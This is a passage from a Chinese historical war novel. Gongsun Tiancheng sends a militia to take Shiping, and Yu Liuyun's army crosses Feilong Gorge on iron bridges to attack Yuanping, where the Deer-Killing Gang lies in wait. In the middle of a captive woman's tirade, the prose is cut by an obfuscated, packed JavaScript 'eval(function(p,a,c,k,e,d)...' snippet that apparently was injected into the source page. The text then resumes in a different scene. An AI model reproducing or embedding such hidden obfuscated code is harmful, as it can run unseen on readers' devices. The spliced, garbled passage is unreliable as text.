司马非人在边关,但京城里的事他也一清二楚。早听说程亦风鹿鸣山归来就收了这样一个门客。原以为是个和程亦风臭味相投的书生,如今看来,嘴巴倒也厉害。不过司马非一向看不起读书人,所以想,公孙天成恐怕除了夸夸其谈也没有什么别的本事,因此丝毫也不把他放在眼里。 程亦风则赶紧将老先生拉到了一边,轻声道:“崔女侠来干什么?” 公孙天成笑笑:“国家兴亡,匹夫有责。她当然是来帮大人抗击樾寇的。大人来见了她就知。” 程亦风无法,只有随着公孙天成来到城下。只见崔抱月打头,后面一支民兵队伍怕有千把人,虽然高矮胖瘦男女老幼都有,但是挺胸抬头精神抖擞犹胜平崖驻守的军队,他不禁心里一讶:还以为崔抱月只不过是被冷千山等人利用来闹事的无知妇人,没想到还真的练出一支挺像样的队伍来! “程大人!”崔抱月一改往日对程亦风冷眼鄙视的态度,恭敬地上前一抱拳,接着就递上一件事物来,乃是半只朱漆木老虎——楚国兵部调兵以这种朱漆老虎为兵符信物,每支大部队都有一只对应的木老虎,一半在领军的将领手中,另一半则握在兵部尚书手中,调遣兵队时,要两半兵符合二为一才能算是军令处于中央。崔抱月自己拉起了一队民兵,如今竟然手持兵符,岂不是说朝廷承认他们是兵部所辖的一部分?程亦风接过半边兵符来看,见断面上果然刻着“兵部,凉城民兵”的字样,不禁诧异:是什么时候承认他们的? 他超公孙天成望了一眼,老先生神色如常,仿佛早就安吩咐准备好了似的,双手递上另半只朱漆老虎来,程亦风拿去何崔抱月的一拼,密合无缝。 崔抱月即“呼”地单膝跪下:“凉城民兵听候大人差遣。”说时,后面那些民兵们也都齐刷刷地跪了下来。 程亦风在军中这么久,还从来没有见过这种阵仗,惊得连退两步,几乎站立不稳。 一切又是公孙天成的安排吧?他转头以眼神询问。 公孙天成从袖中取出一封早已写好的军令来,交给了崔抱月。因为交接的速度极快,程亦风并看不到内容,唯注意到结尾处盖着自己的官印而已。这是什么命令?他不能开口问,只有等着崔抱月读出来。 不料,崔抱月将军令默念了一回,就有把军令折好揣回怀中,道:“程大人放心,我一定不辱使命!”说完向民兵们打了个手势,那些人便“哗”地整整齐齐站了起来,在她的率领下退到城外营地里去了。 程亦风好不奇怪:“公孙先生,你……你给崔抱月什么任务?我知道我不是个领兵打仗的人才,我也答应这次由你制定作战计划。不过,总不能完全把握蒙在鼓里吧?我要对他们负责,对太子殿下负责……” “大人别着急。”公孙天成道,“老朽诀不是要把你蒙在鼓里。只是老朽的计划十分紧要,不容半点差错。玉旈云狡诈无比,必然在大人军中和平崖军中安插了细作。所以,我才在军令上写明,要崔女侠临行动前一个时辰才把任务说给部下听。这样,就算玉旈云的细作打听了去,也来不及应对了。” “原来是这样!”程亦风恍然大悟,但心里免不了有些不舒服:“我不是不信任先生,只是……算了算了,先生有什么要我做的?” “有,当然有。”公孙天成道,“这事还非得程大人你来做不可。”边说边做了一个“请”的动作,引着程亦风来到了专门为兵部尚书预备的书房里。 老先生亲自铺了纸,磨了墨,掭好笔递到程亦风的手里:“这是一封捷报,理应由大人亲笔写给太子殿下。” “捷报?”程亦风丈二和尚摸不着头脑,“都还没有交锋,怎么就写捷报了?” 公孙天成笑了笑:“今夜就会告捷,现在当然要写好,省得半夜三更起来点灯写,多冷!来,老朽口述草稿,大人润色,如何?”用的是征询的口吻,但根本就没有给程亦风拒绝的机会,连再提问的机会也不给,他已琅琅道:“吾皇天威,震慑宇内。臣程亦风谨奏,樾寇贼首玉旒云,外强中干,虚张声势。臣洞悉其石坪防势为虚,乃使女将崔氏率民兵乡勇抢渡大青河,一举将其攻占。我军出师大捷,此楚樾之战必大获全胜。吾皇万岁,万岁,万万岁。” “啪嗒”程亦风的笔掉在了地上:“先生……你……你叫崔女侠带着那些民兵渡河攻打石坪?那……那石坪可是越国的重镇……玉旈云亲自驻防在彼处……怎么可以叫民兵乡勇去和他们硬碰?” “大人不要惊慌。”公孙天成帮他拾起笔来,“你没听老朽方才说的话吗?石坪防势为虚。崔女侠和民兵们过去,是乘虚而入,哪里是硬碰硬呢?” “防势为虚?”程亦风瞪大了眼睛,“怎么可能?我军驻扎了几万大军在此,玉旈云竟然在对岸设虚防?她……这绝不可能!” 公孙天成笑了笑:“为什么绝不可能呢?” “她就不怕我们攻过河去么?”程亦风道,“就不怕我几万大军一夜渡河,拿下石坪,然后长驱直入?” “大人会吗?”公孙天成笑望着这个激动的书生,“大人不了解玉旈云,但是玉旈云显然太了解大人了——大人成名之战乃是空城计,和她第一次交锋又是落荒而逃。她知道大人只要能够保住楚国疆土不失,楚国士兵安全,就心满意足了。所以她晓得,大人绝对不会指挥大军主动进攻樾国的。” 程亦风愣了片刻:果然!如果是他自己全权指挥,只会在此固守,绝不会进攻。“可是……如果玉旈云在石坪设的是虚防,那么她人在哪里?她的主力在哪里?” “她的主力……”公孙天成看向一边挂着的地图。程亦风也顺着他的目光看了过去——大青河就像一条宽窄不一的带子被夹在两岸的山脉之间,楚樾两国的要塞堡垒隔河相对——玉旈云在哪一座堡垒中呢? 公孙天成枯瘦的手指在地图上移动,从河上游缓缓指向中游,最后若有所思地停在了飞龙峡。 正如公孙天成所料,玉旈云的确身在飞龙峡。这是大青河中游第一险,两壁是光秃秃的悬崖,数十丈高,中间河水飞流直下,白浪滔滔——货船行到附近都择港靠岸,将货物卸下,由陆路运过这一段去,再装到下游的船上继续运输,人若在这里失足,那更是神仙也难救。 然而,山崖对面就是鹿鸣山的白鹿峰,号称“一夫当关万夫莫开”的楚国雄关远平城就在其侧。 站在峭壁的边缘,把险关踏在脚下,玉旈云胸中有难以言喻的豪情:“飞龙峡嘛,自然就是要飞过去了。” 她身边的石梦泉没有搭腔,只是沉静地站着,监督工兵营的士兵来往忙碌——玉旈云所谓的“飞”就是修筑栈桥。她早已将大青河的地形研究了数百回,才选定了飞龙峡这河面最窄的地方,又从民间征召了许多工匠加入工兵营——这些人在西域魔鬼沙漠之地的石山中开凿洞窟,在匕首一般险峻的悬崖上雕刻佛像,本事十分了得。石梦泉看他们手持长绳,一端拴有铁钩,抡起来朝对岸一抛,不偏不倚就钩在了一株奇松之上。一个匠人拉了拉绳子,确信钩牢了,就以手脚勾在绳上,三两下攀到了对岸。他站稳了身,将绳索在树上捆成死结,朝这边招招手,一个身缠铁索的同伴就依样攀过对岸去。接着,第三个同伴揣着铁锥,背着榔头也攀了过去,几人合力,也不知使的什么巧劲,没多大工夫,就把铁索固定在了岩石之中。三人攀绳而回,照样钉好第二条铁索。 “将军,这就可以铺木板了。”领头的匠人说。 “好!”玉旈云就像发现有趣新玩具的孩子。 北国的早春依然严寒如冬,这时天上飘起了雪花来。心情大好的玉旈云忍不住伸手抓了一片。她戴着漆黑的手套,洁白的雪花映衬其上限的分外晶莹。不过才一瞬就已经化了。 “将军。”石梦泉低声道,“这雪也许会越下越大,峭壁危险,还不暂时先让他们停工吧?” 玉旈云皱皱眉头:打仗拼的是计策,是时机,当然也就是时间。不过太心急,只会欲速则不达。她唯有点点头:“好吧。传令下去,让工兵营先休息,雪停了再继续。”说完,自己也和石梦泉一道,沿着山路回去营地。 这山里就是樾国的锁月城,原本据险以守驻军不多,地方也不大,如今玉旈云带了三万人马来,立刻就显得拥挤了。但是秩序却丝毫也不混乱,即使下着雪,还有几队士兵在校场上操练,雄健的身影在翻飞的雪花中看来,别有气魄。 果如石梦泉所料,雪越下越大,路面也开始滑溜了起来。将要跨进院门的时候,玉旈云险些滑倒,还好石梦泉眼明手快,一把拉住。 “这真要摔了下去,我这个将军还有什么面子?”玉旈云笑着感谢挚友。 石梦泉也笑笑:能够一直在她身边,偶然这样扶她一下,就是自己最大的幸福了。 两人才迈步进院,却忽然停到背后传来一阵急切的脚步声。回身看看,是传信的士兵,身上有伤,满面惊惶:“玉将军!石将军!大事不好!石坪城被楚军打下来了!” “什么?”玉旈云大惊,三步并作两步走到那士兵的跟前,瞪着他道,“几时的事?你快说!” 她的目光冰冷,仿佛能穿透一切。士兵不禁打了个冷战,单张开了口,却发不出声。 “玉将军叫你说,你就照直说。”石梦泉安抚,“胜败也不是你的责任。” “是……”那士兵顿首,才讲了详情:在两天前,大青河对岸来了一批看起来像难民的人,石坪的守将并未留意,岂料当晚,难民在一个女子的率领下用木筏渡过大青河,接着就架长梯直接攻打石坪城,跟本就不理会守将的威吓。守城士卒看来人是平民打扮以为不过是乌合之众,没有立刻向下游的大军求助,不料这些民众训练有素,不逊行伍出身的兵士,石坪城不到半个时辰就陷落了。而守城的参将陈孝义就自杀身亡。 “他自杀?”玉旈云阴沉着脸听完汇报便尖锐地说了这一句,讽刺多过痛惜:“为什么?胜败乃兵家常事,我又没说过丢了石坪就要他的脑袋。” “是,”那士兵顿首,“陈参将说,他竟输在一个女人的手里,以后没有脸活着,就自尽了。” “呵!”玉旒云不禁冷笑,“死得好。他早该死了!” 士兵却还没意识到自己说错了话,不知玉旒云何以如此刻薄。石梦泉恐这糊涂的小卒也会遭灭顶之灾,忙道:“你这样马不停蹄地赶来,辛苦了,快去休息吧!”将他赶到了院外,又推推玉旈云:“将军,雪大了,先进屋再思考不迟。”便同她一起走进了书房里。 因为两人一早就去了山顶,炭火早就熄灭,所以房里几乎和外面一样寒冷。石梦泉一边亲手张罗着生火,一边道:“将军还要按照原计划行事么?还是立刻发兵收复石坪?” 玉旒云凝视着桌上沙盘地图中的石坪城,将插在上面的小旗拔下来把玩着:“反正石坪早就被咱们搬成一座空城了,楚军占了城也得不到什么好处,时日一久,粮草用尽,他们还不得乖乖撤退?” “话虽如此。”石梦泉指着沙盘中石坪以北的许县,“现在我方门户洞开,万一楚军继续北上,我方兵力都集结在锁月城,岂不坏了大事?” 玉旒云望了望许县,那是樾国南方重镇,过了它,北地一马平川,难以防守。“会吗?”她眯起眼,眺望门外灰蒙蒙的天幕,对着南方,楚国。“石坪防势为虚,但面上的功夫可做足了。每日都派人到河边巡查,还特特备了一批小船,做出要抢渡大青河的假象。程亦风是怎样识破的?” 石梦泉也没有和程亦风正面交锋过,他不知道这个书生是真的懵懵懂懂撞出了妙计,还是大智若愚,运筹帷幄。 “程亦风是以守为上,最大的本事就是撤退。”玉旈云道,“以他的性子,会继续进攻许县吗?” 石梦泉无法确定,想了想,道:“也许以程亦风的性子来说不会,但是……但是先前将军不是有细作来报,说他在鹿鸣山收了一个谋士么?也许这次看穿我们设虚防,又下令渡河攻占石坪的就是这个谋士,那么他们也有可能会继续北上吧?” “公孙天成?”玉旈云不信鬼神,也讨厌装神弄鬼的人,不过若石坪是公孙天成的杰作,看来这江湖术士也不容小觑。 她咬着嘴唇,死死地瞪着沙盘上的石坪城和对岸的平崖,好像只要看得足够专注就可以突然飞到那里去查个究竟一般。片刻,她的眼睛一亮,脸上的阴云也一扫而空:“不可能的!他们不可能想要进攻许县——既然看穿我设的虚防,又知道攻下石坪后可以立刻打下许县,为什么只派千余乌合之众来进攻?难道不是应该大部队直接渡河进攻吗?” 石梦泉一愣:不错,这点实在不合理。 玉旈云绕着沙盘踱了半圈,忽然一拳砸在了桌上:“莫非他是洞悉了我要从别处渡河?”她点着石坪城:“他们知道我不想硬碰,在石坪设下虚防。而他们也不想和我硬碰,因此攻打石坪,为的是逼我立刻回头救援,好打乱我的计划——所以他们连正规军也不派,弄了几千民兵来,等我一回到石坪城下,他们就撤退,白白浪费我的功夫!我才不上这个当!” 她这样分析,石梦泉也觉得有理。“不过,石坪被他们占领,始终是个隐患。”他道,“万一我们不回师救援,程亦风真的发兵过河……平崖城里有机万楚军,到时后果就……” “打仗有时难免要冒点险。我和程亦风谁更敢冒险呢?”玉旈云道,“不管攻打石坪是出自程亦风的手臂,还是那个公孙天成的作为,这次全权负责前线指挥的始终是程亦风,也就是说,最后拍板的是他——以他的性子,民兵攻打石坪这冒险已经冒到了极点。再要北上打许县——那个时候,我早就把远平城拿下来了。就看谁熬得住不去救援——你说是他先熬不住,还是我先?” 自然是玉旈云更肯为胜利冒险,石梦泉了解她,但是也未她担心:“即便程亦风不攻打许县,石坪乃是我国重镇,这样被楚国的民兵占领,消息传回西京,将军就不怕某些人做文章么?这样岂不是会破坏将军后面的计划?” “这……”玉旈云想起那些素来与自己不和的老将们,气闷地一甩手。 “我们此来本已有三万人马。”石梦泉道,“当时撤出石坪的时候,让石坪总兵岑远把他手下的人马也带了五千离开。这五千人原野没计划要带他们过河去,不如让岑远率众回去收复石坪?敌人一千,我军五千,可以万无一失。” “好主意!”玉旈云拊掌,“就交给你来办。” “是!”石梦泉答应。 “等等——”他方才要出门,玉旒云又叫住了他,“我叫你去做,就是叫你吩咐人去做——你别忘了,你现在是将军,别像个小卒似的什么事都亲力亲为。” 石梦泉一愕,答:“是。” 看他一本正经的样子,玉旒云不禁笑了起来:“我寻你开心哩——你看怎么好就怎么办。快去吧!” 依照玉旈云的命令,石梦泉派岑远率兵回石坪,围城而扰之,等敌人饥饿疲乏之时,不费吹灰之力收复城池。 岑远领命而去,石梦泉便继续监督造桥事宜,约莫三天时间,飞龙峡的峭壁悬崖上建起了五座铁索桥。石梦泉亲在每座桥上走了个来回,确信稳妥无失,便请玉旒云再来视察验收。玉旒云看铁索沉重木板结实,在高山寒风中,铁桥也只轻微地晃动,大喜,给工兵营记一大功,接着,命令石梦泉先锋,领五千人,即刻过桥去潜到远平城后,副将罗满再领五千人,随后支持,务必以此一万人马在三天之内拿下远平城。 石梦泉顿首领命,拜别了玉旈云,带着五千将士过了崖来。只是一河之隔,楚境的白鹿峰和樾境的仙女峰就有很大的不同。仙女峰上多是石头,寸草不生,积雪结冰,让人难以行走;而白鹿峰石山之上有土,怪松林立,虽有积雪,但地上原生了苔藓,所以踩上去也不打滑,更可喜的是,林间偶尔还有梅花鹿跳跃经过,更给山峰平添了几分生气。 樾军都是北人,不惧寒冷,到了白鹿峰上士气更加振奋,石梦泉带领着,没半天的功夫就已经下到半山腰,回头仰望,峰顶上樾军大旗一闪,是罗满的后援队伍也过崖来了。石梦泉便令将士原地休息,但切不可生火,免得被楚军发现。 这一夜相安无事,到次日,便继续向远平城前进。约莫到了中午时分,已经可以从茂密的松林中望见远平的烽火台了,石梦全即令大军停止前进,观察周围地形,准备天黑时进攻。 远平城位于鹿鸣山白鹿峰和金鼎峰之间,两山相夹,形成天然屏障,北面临着大青河,有石阶通下,直到飞龙峡上游的船港,一片光溜溜的河滩,即使是乘着夜色也不可能从正面进攻而不被城上守军发觉——发觉的结果,当然是乱箭穿心,变了刺猬。南面,也就是远平城的背面,通向鹿鸣山的一片谷地,城中的一切粮草供应,都只能经由此处。谷中树木茂密,便于埋伏——看来这也是攻进远平的唯一道路。 石梦泉用望远镜观测良久:白鹿峰上边已全由樾军占领,万无一失,却不知金鼎峰那边是何情形?想着,就传前锋营的督尉来,吩咐率一百骁勇即刻潜到对面金鼎峰的山坡,一探虚实。 那督尉姓赵名酋,得令,点齐人马而去,没一个时辰回来报道:“将军,那边山坡是个鹿窝,到处都是梅花鹿,其他连鬼影也不见。” 石梦泉点头道:“那好,等天一黑,你就带前锋营全班人马到金鼎峰去,看我这边火起为令,同时进攻远平城。” “遵——”赵酋话音还未落,就听得“呦呦”几声,看一个前锋营的士兵肩上扛着一只幼鹿走了过来。 石梦泉不禁皱眉道:“这是做什么?” 那士兵道:“回将军的话,金鼎峰那边的鹿实在太多了。先见到还觉得可爱,一群一群围上来就烦人得很。我听说楚国皇帝不准杀鹿,咱们可不用听他的,杀几头来给兄弟们垫垫肚子,晚上好打仗。” 石梦泉一是觉得那幼鹿一双水灵灵的大眼睛,杀了怪可怜的,二是因为埋伏山中不能用火,便斥道:“垫肚子你们不会吃干粮么?我已明令禁火,难道你们要生吃鹿肉不成?” 那士兵抓抓脑袋,好一顿美餐,到了嘴边又吃不成了,真叫人心痒难熬。 石梦泉又如何不知他的心思?他不是贵族,和下属们的关系比玉旒云高峰亲近,也更能体谅士卒们的心思,因道:“今晚拿下了远平城,明天你们把整山的鹿都烤来吃我也不管,不过吃坏了肚子可别找我诉苦。” 那士兵嘿嘿笑道:“多谢将军——哪儿能吃坏肚子呀,鹿肉大补,鹿血尤其厉害,喝了之后……” 还没说完,赵酋一巴掌打在他后脑勺上:“将军面前你胡言乱语什么?你敢喝鹿血看看——这荒山野岭的,看你怎么败火!” 士兵讪讪地笑,知道自己吐出秽言来了:石梦泉今非昔比,同将军讲话怎能造次呢? 石梦泉却随和地一笑:军旅生活压抑单调,自从太宗废营妓,士兵们只好去寻野妓来解闷。玉旒云都睁一只眼闭一只眼的事,他何必认真。 而偏此时,旁边一个士兵叫道:“哎呀,才说败火,败火的就来了!”大家都顺他所指望过去,只见几个兵丁正押着一个廿多岁的妇人匆匆走了过来:“将军,这女人鬼鬼祟祟地在山里转悠,必定是奸细。咱们拿住了,听将军发落!” 石梦泉看这妇人生得不算美艳,但那种山野之气使他显得别有风致,大冷天儿的,她穿着短夹袄,系了条竹叶青色的百褶裙,更显出身材丰满挺拔。不过奇怪的是,她腰带上拴着五、六条绳子,每根都挂着一撮褐白相间的鹿尾,随着身形转动,鹿尾也流苏般地摇晃,说不出的野性与妩媚。 石梦泉深蹙眉头:“这究竟是怎么一回事?” 那妇人挣扎着:“冤枉啊,英雄们开恩,小妇人不过是上山采药,不知英雄们要干什么。英雄们放小妇人回去,小妇人一定装聋作哑,不和人提一句。” 采药?冰天雪地荒山野岭,她孤身一个女子?石梦泉不信。士兵们当然也不信。 妇人见状,呜呜咽咽地哭了起来:“都是我那死没良心的老公,家里有什么值钱的东西,都叫他拿去赌了。上有八十岁的公婆,下有不会走路的娃娃,全靠我一人采药换钱。你们抓了我,就是杀我全家呀!” 士兵们有的被她哭得动了心,想起自己家乡的老小来,都把眼望着石梦泉,看他怎么个处置。 石梦泉晓得现在孤军深入敌境,万事都要提防,有一步走得不谨慎就有全军覆没之险。他即不为这妇人所动,冷着脸道:“押下去看管起来,如果有什么不轨企图,立刻砍了。” “是!”士兵们不敢有违。 妇人见脱不了身,索性撒泼骂了起来:“我知道你们,你们是樾国的强盗。有胆你们和远平城里当兵的去打,别欺侮我这妇道人家!你们这些兵丁都是一路货色,为了皇帝老子多占地盘, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 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接着,他又变换角度,将远平城墙的岗哨仔细观察了一翻,那城楼的高度,里面最多藏兵的人数,城内游击将军府的位置,粮仓的位置……边看,边在心里计划今夜的行动:当从那一段城墙翻进去,先攻何处,再攻何处,一一思量清楚——这一仗没有退路,他不能大意。 过了不知多久,石头的寒气已经透过他的战衣侵袭筋骨。“会生风湿的!”他想起以前有一次匍匐在战壕之中,玉旒云见到,吐出嗔怪的话语。她关心他,他必得更加爱护自己的身体。于是站起身,跳下巨石,举步回营中去。 这时,看赵酋慌慌张张地跑过来:“将军,不好了,地上的盐引来好多梅花鹿,把咱们的营地冲得一塌糊涂。” “什么?”石梦泉边听他汇报,边快步朝营地走。远远地已看见一全骚乱,梅花鹿奔来闯去,呦呦鸣叫,士兵们有的呵责,有的则拔刀朝鹿猛砍。“快——”石梦泉令道,“传我将领,不许杀鹿!” “将军,这……”赵酋不解,“再不杀鹿,乱子闹大了,恐怕被楚军发觉……” “不行!”石梦泉加快脚步,亲自朝下属们喝道,“不准杀鹿——杀了鹿,到处是血腥味,这山里若有豺狼猛兽,还能不被吸引?究竟是一群鹿闹的乱子大,还是一群虎狼闹的乱子大?” 赵酋意识到自己行事冒失,赶忙也上前喝止手下。“但是,将军,”他道,“不驱散鹿群始终是个隐患,不如,点火惊散这些畜生?” “不行,”石梦泉摇头,“一有烟火就更容易被楚军发现了。” “那……” “你让我想想。”石梦泉推开了撞到自己面前的一头鹿,伸足将地上的白盐踢散。梅花鹿呦呦叫着,仿佛是抗议,但又调转头,继续找盐吃去了。石梦泉心里便即一亮:“叫火头来,把盐巴都拿来,丢到山谷里去。” 赵酋听了此言,也恍然开窍,立刻照办,不多时,便集了两三罐盐巴,唤了几个士兵下山谷引开鹿群。而石梦泉又叫住了他:“不要只派那几个人。从你前锋营点两千人马,趁着鹿群混乱,正好走过山谷到金鼎峰那边去。天黑看我信号,就……”当下把进攻的路线交代了一番。 赵酋记下了,未料鹿群之祸坏事变好事,心中对石梦泉添了几分佩服:原来他也是个有计谋的人,只不过多年来一直在玉旒云的身边,被玉旒云的光辉掩盖罢了。 赵酋和前锋营随着鹿群刚走没多久,哨兵又来报告了,这回押了个三十来岁满身酒气的汉子。他被士兵拖得脚步踉跄,口中还不住嚷嚷:“干什么!人家出门找老婆也犯法么?” 到了跟前,士兵自然又报说此人形迹可疑,也许是楚军探子。石梦泉正打量,就听那汉子哈哈大笑:“楚……楚军……探子……哈,听说程……大人对手下很好,要是能给他当差,老子也不在山里挨穷……哈!” 酒臭冲天,周围的兵士都忍不住捂起口鼻。 汉子有又续道:“你们……你们是什么人?这光景,不在家里享清福,跑到山里来挨冻,难道你们的老婆也不见了么?其实老婆不见了也好呀,省得她成天在你耳朵边上唠叨……你爱喝就喝,爱赌就赌,她管得着么?唉,也不知我爹妈的心肝是怎样长的,我才是他们的亲生儿子,他们却满心只惦记那个黄脸婆……你们看到那黄脸婆没?” 有士兵低声对石梦泉道:“将军,这个大概是先前抓那个妇人的丈夫,看他一副不争气的模样,那妇人说的多半的真的。” 孰真孰假,现在不是花时间辨别的时候。石梦泉挥挥手:“押下去,如有意图不轨,立刻斩首。” “啊?”那汉子一愣,两腿抖得筛糠一般,“各位大爷,什么斩首啊?小人犯了什么事?”但士兵并不理会他,径拖着去了。 石梦泉望着地上鹿群践踏后留下的狼籍,心中一片忧虑:这事不会是那妇人计划好的吧?若真如此,这汉子又有什么阴谋?楚军在策划什么? 无法洞悉敌情,他只有选择按原计划行事,以不变应万变。 天,快点黑下来吧! 鹿鸣山里的天欲暮未暮,平崖城这边则是彩霞万里。不过司马非的心情很坏,指着程亦风破口大骂:“姓程的,你是什么意思?放着我几万兵马不用,居然派一个女人和千把民兵去攻打石坪城?” “用兵只要能取胜,何论人之多寡,将之雌雄?”公孙天成慢条斯理,“再说,司马将军的精良之师,还没到派用场的时候。” “什么是派用场的时候?”司马非眼睛瞪得像铜铃,“程亦风,你不要拿着鸡毛当令箭。军国大事不是儿戏,你还要把作战计划隐瞒到什么时候?还是你根本就没有作战计划,全听这江湖术士的?” “公孙先生不是江湖术士!”程亦风本来也觉得一切都交给公孙天成有些不妥,但是崔抱月当真以一千民兵攻下了石坪,可见公孙天成料事如神——和这位老先生相比,自己算得了什么?只要能够挫败樾寇阴谋,程亦风想,哪怕是自己做做摆设又有什么关系?“公孙天生是我敬为师长之人。”他严肃地对司马非道,“请司马将军尊重他。至于司马将军的部下何时将执行什么人物,我自然会通知。” “你——”司马非怒火中烧,“好,我看你还能儿戏到几时!可恶!”边骂着,边甩开大步走了——把他的关公刀抡刀肩上的时候,几乎把城楼的箭垛也削掉半边。 公孙天成望着这背影,只是摇头叹息。 程亦风则不无紧张地道:“先生,你之前说玉旈云在别处另有阴谋,我们要用石坪来引她出现。如今石坪已经攻下几天了,怎么对岸毫无动静?莫非玉旈云打算放弃石坪么?那么她别处的那个阴谋,要如何应对?” “玉旈云做事不愿瞻前顾后,是她的优点,也是她的缺点。”公孙天成道,“她放弃石坪,也不算出人意料。不过,她别处的那个阴谋也成不了。我想用不了多久,我们就可以去收拾残局了。” “公孙先生,您说的可是真的么?”小莫随在一边,道,“玉旒云的阴谋已经失败了?您怎么知道?哎呀,您做事可真叫人捉摸不透。” 公孙天成笑了笑,伸手指指天上被西洋映成金红色的云彩:“你能告诉老朽下一刻天将是什么样子吗?明日究竟是天晴还是下雨呢?” 小莫一怔:“公孙先生您拿我开心呢。这些事儿,要是我能晓得,我早就上钦天监做司空大人去啦。” 公孙天成依然微笑:“钦天监的司空大人就一定能说出天气的阴晴云雨么?” 小莫抓了抓脑袋:“这个……十有八就是准的吧,要不然也做不了司空大人。不过,要是全准,那就不是司空大人,而是活神仙了。” “不错!”公孙天成点了点头,“说什么人定胜天,根本就是天下间最可笑的话。打仗讲求知己知彼,人连天的阴是晴都预测不到,还想和天斗么?” 小莫被他搞得一头雾水:“先生,咱们现在是和樾人斗,和玉旒云斗,不是跟老天斗啊!” “正是。”公孙天成道,“但只要玉旒云不知道咱们下一步要做什么,她跟咱们争,就像是和老天争,永远也赢不了。” “那是。”小莫道,“玉旒云又不是神仙,怎么可能猜到咱们下面要做什么?” 公孙天成眯着眼睛,轻轻“哼”了一声:“她不是神仙,但是她有耳目。” “是谁?”小莫自然地跟上一句。 公孙天成冷笑:“打什么紧呢?只要不是老朽跟程大人肚子里的蛔虫,他就算上天入地,也只是白忙活罢了。” “那可真是!”小莫傻呵呵地乐道,“程大人的肚子里装的都是老百姓,老百姓看到了蛔虫一人一脚就踩死了。公孙大人料事如神,称得上是半个神仙,神仙的肚子里怎么会长虫呢?呵呵!” “你倒会说话。”公孙天成看了他一眼。 小莫依旧笑呵呵:“老是跟在程大人和公孙先生身边,没吃过猪肉也见过猪走,还能不会说话么?” 这下倒把一直郁郁不乐的程亦风也逗笑了:“公孙先生才夸你,就露出本相来了。” 小莫还不知自己打错了比方,莫名其妙。 公孙天成朝他摆摆手:“去吧,去吧,看看茶饭准备得怎样。老朽和程大人的肚子没有蛔虫,不过唱开空城计了。” “哦。”小莫笑应着,转身去了。程亦风和公孙天成就继续在城楼上远眺。霞光之中,连大青河河面都成了红色的,本来是无限美好的景色,程亦风看来,却像是血流漂杵——开战的话,多少像小莫一样胸无城府的年轻人又要殒命沙场? “玉旈云想要渡河……”公孙天成幽幽地开口,“她想占领远平城。” “什么?”程亦风大惊,“先生怎么知道?”这话问出来,又觉得无趣,只消分析大青河楚樾对峙的形式就能猜到——上游的几座要塞建在崇山峻岭之中,如今冰天雪地,加上大青河险滩连连,根本无法渡过,下游虽然渡河容易,但是樾国境内的要塞是刚刚从铴国占领下来的,无法作为坚强的后盾,只有在中游做文章。中游相对的堡垒,樾国境内是石坪和锁月,楚国与之相对的是平崖和远平。如今玉旈云不在石坪,那显然就是在锁月打远平城的主意了。 “但是怎么可能呢!”程亦风想起地图上的标志,“她怎么能飞跃飞龙峡的峭壁?” “那是樾人应该操心的事。”公孙天成道,“我们应该操心的事怎样让他们有来无回。” “当真飞跃飞龙峡,就等于占领了我均的远平城!”程亦风急道,“既然先生早就料到,难道不应该立刻派司马将军前去援助远平吗?据我所知,远平驻军不多,如果玉旈云三万大军其过河来……” “是要叫司马将军去的,不过时机还未成熟。”公孙天成道,“况且大人难道忘记了,远平城鹿鸣山中,还有杀鹿帮的英雄们么?” “先生要请杀鹿帮的英雄们助阵?” “不是‘要请’。”公孙天成道,“是老朽自作主张,已经请了。” 程亦风愣了愣:“杀鹿帮不过百余人,纵然能够驱使百兽,又能使用毒烟,但樾人若真从远平进攻,来者必有上万,杀鹿帮怎能以一敌百?” 公孙天眺望着鹿鸣山的方向:“要是攻打城池,两军对阵,的确是少了点儿,不过……”他突然转过头来笑望着程亦风:“要是把一百个强盗到了凉城,天天杀人放火,打家劫舍,偷鸡摸狗——程大人会不会万分头疼呢?” 13. 第 13 章 夜幕的降临就像一只潜伏的野兽决定出击,经过了长时间的酝酿之后,行动只在一刹那——眨眼的工夫,天地间已是漆黑一片,寒风穿过松林,沙沙响,如鬼魅在交谈。 猴老三搭着凉棚,朝山路上观望再三,不见妻子的身影,急得抓耳挠腮,真的像只大马猴。管不着咕噜咕噜吸着水烟,笑话他道:“瞧你那丢了魂的熊样儿!你到底是担心老五被樾军抓了去,还是怕她跟老四扮夫妻扮得戏假情真,回头把你甩了?” “去!有你这样的兄弟么!”猴老三啐道,“这关头,不担心自己弟兄的安危,却说风凉话!” 管不着看他经不起打趣,更要拿他开心了,笑道:“嘻,我这哪叫说风凉话呢?当年你和老四同时追求老五,大哥力挺你,而我就支持老四。后来老五选了你,我虽没话说,但还是替老四不平。现在好不容易他俩扮一回假夫妻,我就不能高兴高兴?” 猴老三被激得一蹦三丈高,指着管不着的鼻子:“你……你……”气得太厉害了,“你”了半天也没说出个下文。 管不着笑得前仰后合。一直没发话的邱震霆咳了两声,道:“老二,你别逗他了,也不看看是什么情形。老四老五去了也有大半天了,这会儿该有信回来了。” 管不着笑道:“大哥,你也有担心的时候?咱们杀鹿帮在鹿鸣山纵横这许多年,唯一遇到过的敌手就是程大人。将军咱也不是没见过——那冷千山,不就是草包一个?樾人派过来的不晓得是什么人,但是总强不过程大人去。有咱的鹿阵,再加上老五的毒烟,还不手到擒来?” 邱震霆道:“话是这样说,俺是吓大的,能怕樾人?不过,这是程大人第一次求咱们帮他办事,咱一定得办得漂漂亮亮才行。” 管不着道:“那是,那是——哎,你们看——”漆黑的林海之中,升起一双碧荧荧的鬼火,像一只苍狼自树丛中一跃而出。 “是娘子是信号!”猴老三立刻来了精神。 “老四老五开始放烟了。”邱震霆道,“让这伙樾人先吃点苦头,咱们去切断他们的后路!” “好!”猴老三一跃而起,就去招呼其他弟兄了。管不着跟后道:“唉,可惜,可惜,我的妙手空空没有用武之地,只好造几把好锁,让老三把老婆锁住,哈哈!” 猴老三没心儿理他。邱震霆也不干涉他们嬉闹——这些兄弟相处多年,彼此的脾性早摸得清楚,玩笑归玩笑,伤不了感情,更耽误不了正事。 三位当家招集齐了人马,在黑暗中迅速前进,百多名好汉仗着熟悉地形,连抄近路,又是爬惯了山的,脚程比常人快了数倍,没得一个时辰,已经攀到了白鹿峰顶。 有人在邱震霆面前一指:“大哥,那就是樾人造的铁桥。” 